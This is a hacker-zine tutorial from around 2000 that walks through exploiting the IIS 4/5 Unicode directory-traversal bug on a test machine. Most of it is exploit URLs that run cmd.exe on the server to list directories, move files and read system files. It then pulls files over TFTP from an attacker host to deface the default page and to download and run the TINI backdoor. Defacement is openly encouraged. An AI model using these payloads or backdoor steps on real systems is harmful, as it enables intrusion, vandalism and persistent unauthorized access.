-----[ Twisted Wire #1: IIS 4/5 Unicode Bug Explained ---[ by Synapse of SiN -----[ 01/01/2.1k ---[ www.TheCyberUnderground.com | subdom.hypermart.net Well, first things first. I must apologize for not following up on the Bluelight banner kill TW that I promised quite a while ago. Me and my bro did mess with it for a while but nothing ever came out of it and we just let it go since the software is constantly being upgraded automatically and fixes most of the known workarounds. But now on to some more good stuff. I will take you step by step through a sample exploit using the infamous unicode bug. Not to tell you how to deface a page, you certainly could, but it's more like just a small account on my experience with the bug and it should hopefully spark your imagination to try different things. But first a little background on the problem. Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal bug if extended UNICODE character representations are used in substitution for "/" and "\". This is because IIS decodes UNICODE at the wrong end, after checking the path and not before. The unicode bug allows you access to files that the IUSR_machine account has access to, so you are basically logged on as a member of the Everyone and Users groups, but with no GUI to play with, actually there is a remote GUI but Ill just point you to the book Hacking Exposed. Some things we will need: Tftpd (http://membres.tripod.fr/phjounin//zip/tftpd32d.zip) Tini (http://ntsecurity.nu/cgi-bin/download/tini.exe.pl) My first step was to set up Windows NT 4.0 which comes with IIS 2, and this bug only works on versions 4 and 5, unfortunately I had no way of upgrading IIS to at least version 4.0 without a lengthy ISO download from the nearest warez page . So my only solution was to format again and set up Windows 2000 Professional, which comes with IIS 5. I chose to run Win2k on a FAT partition first since I can later change the drive to NTFS if I find any peculiarities during this experiment and want to further investigate. I set up networking so both victim and attacker could see each other. I then added IIS. These are the ONLY changes that I made on the victim machine so its basically a very default install with the only ad-on being IIS. I am running Win98 first edition on my attack machine so some of our options may be limited. A quick check of the victim web page reveals this message (localstart.asp): Under Construction The site you were trying to reach does not currently have a default page. It may be in the process of being upgraded. Please try the site again later. If you still experience the problem, try contacting the Web site administrator. To start off with, I tried to view the wwwroot directory: http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot\ It works and spills the contents of the directory. Now to test the permissions on the directory: http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot\+>>c:\inetpub\wwwroot\test.txt That should write the contents of the directory into a text file called test.txt to test whether the directory is writable or not. This doesn't work for some reason. So I try: http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\inetpub\wwwroot\localstart.asp+localstart.bak and get a sweet message consisting of: Cgi Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: 1 file(s) copied. But then it doesn't show up when I list the directory again, hmm. It turns out that the file was copied, only it was copied to the /scripts directory because that's actually where we are when we are issuing commands. I tried: http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+move+c:\inetpub\wwwroot\localstart.asp+localstart.bak Cgi Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: With no messges, that is strange indeed. But it works! I can list the directory again and it shows my change, also shows up in the directory listing on my victim computer, so I know it works. There is another way to view files, lets see if that can be leveraged to get ourselves some more commands working. http://victim.machine/scripts/a.asp/..%c0%af../..%c0%af../winnt/win.ini That command views the contents of the win.ini file in the winnt directory. It works because you tell IIS to go get a.asp and its not there and then it gets tricked by unicode to jump directories and let us view the win.ini file. ---[ Kurruppt's Note: sometimes the above url/command-line doesn't work, and you get an error reguarding permissions. The important thing to remember is that its (usually) and HTTP permissions issue, not NTFS. So with the handy DOS type command, we can do: http://victim.machine/scripts/a.asp/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+ type+c:\winnt\win.ini And the win.ini file is displayed, because we're not trying to view it w/ HTTP, but type (cat) it to "stdout". ---] The first malicious thing that I tried was overwriting the default page (localstart.asp) by using the echo command: http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+Dfaced>>c:\inetpub\wwwroot\default.asp Page not found, the echo command does not work in that context for some reason, but: http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+i_can_hear_myself Returns: Cgi Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: I_can_hear_myself So we know that ">>" is something that doesn't get translated properly so maybe a unicode representation might work. Nope, dead end. But just for reference: http://www.unicode.org/charts/ Thats all the unicode chars you could ever want, in case someone else has better luck than I did. (Note: In the unicode.zip file in the TCU Buffer Overflow section, there is a perl script that manages to overcome the limitations that I hit, by copying cmd.exe to something else.I havnt thoroughly broken it down yet, maybe Ill update this doc when I can get to that) On to the TFTPD stuff. I downloaded the tftpd32.exe file and ran it, it listens on the default port 69, then I made up a quick 31337 default.asp page to stick on the victim machine. D-Faced by Syn A quick and dirty (and most likely logged) hack would be: http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+attacker.machine+GET+default.asp+C:\inetpub \wwwroot\default.asp It works like a downtown hooker on a mission for a rock. (cheeze :) An even more fun thing would be to install a RAT (remote access tool). Since TFTP works so nice, lets see if we can put some binary shit on there too. I put the TINI backdoor in the tftp root directory, and had the victim machine download to the scripts directory http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+attacker.machine+GET+tini.exe+C:\inetpub\scripts \tini.exe The victim machine happily sucks it up, now lets run it: http://victim.machine/scripts/tini.exe ---[ Kurruppt's Note: TFTP does not ship on earlier versions (SP's) of NT, so first you might try executing tftp without arguments and look for a 'the specified...' not found message. ---] Putting it in the scripts directory, results in a connection for about 45 seconds before getting cut off for some reason. Also note that the tftpd that I used leaves an empty file called TFTP320 in the directory that you upload things to for reasons unknown. I plan to update this doc with even more information as I get more time to test different methods and backdoors, maybe even figure out how to clear the event log one day. This stuff works on my victim machine. But may be set up different on any number of other machines due to security policy, the best policy though would be to just download the patch from Microsoft. So .... Is local access enough? I leave that question as an exercise best left to the reader. Have phun.